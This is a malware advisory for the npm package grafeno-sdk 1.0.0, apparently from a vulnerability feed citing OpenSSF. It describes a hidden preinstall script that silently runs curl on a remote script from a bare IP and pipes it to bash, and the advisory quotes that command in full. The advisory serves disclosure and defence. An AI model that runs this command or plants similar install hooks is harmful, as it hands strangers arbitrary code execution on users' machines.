VYPR

npm · Malicious package advisory

Malware

grafeno-sdk

GHSA-fg63-r25c-3gf6

Malicious code in grafeno-sdk (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.0`

## Source: amazon-inspector (665dd78adc2d9c5f30bd8b140dc2dfc5bf9e61efb96ea9945018154d43102ad3)
package.json declares a preinstall lifecycle script that runs `node -e` to invoke `child_process.execSync('curl -s 216.126.236.46/x.sh|sh', {shell:'/bin/bash'})`, wrapped in a try/catch that silently discards errors. On `npm install`, this fetches an opaque shell script from a bare IPv4 address (216.126.236.46) over plain HTTP and pipes it directly to bash, giving the operator of that IP arbitrary code execution on the installer's machine. The node-wrapper and error-swallow conceal the fetch from lifecycle output and hide any failure from the installer.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/8278ab2bd67eee704962fa11801bbf9da85d4939/osv/malicious/npm/grafeno-sdk/MAL-2026-15508.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/8278ab2bd67eee704962fa11801bbf9da85d4939/osv/malicious/npm/grafeno-sdk/MAL-2026-15508.json
- https://www.npmjs.com/package/grafeno-sdk/v/1.0.0
- https://github.com/ossf/malicious-packages/blob/8ac98a94823b43b171a069b6c33a521677e7718e/osv/malicious/npm/grafeno-sdk/MAL-2026-15508.json
- https://www.npmjs.com/package/grafeno-sdk/v/1.0.1
- https://github.com/advisories/GHSA-fg63-r25c-3gf6

Compromised versions (1)

  • = 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.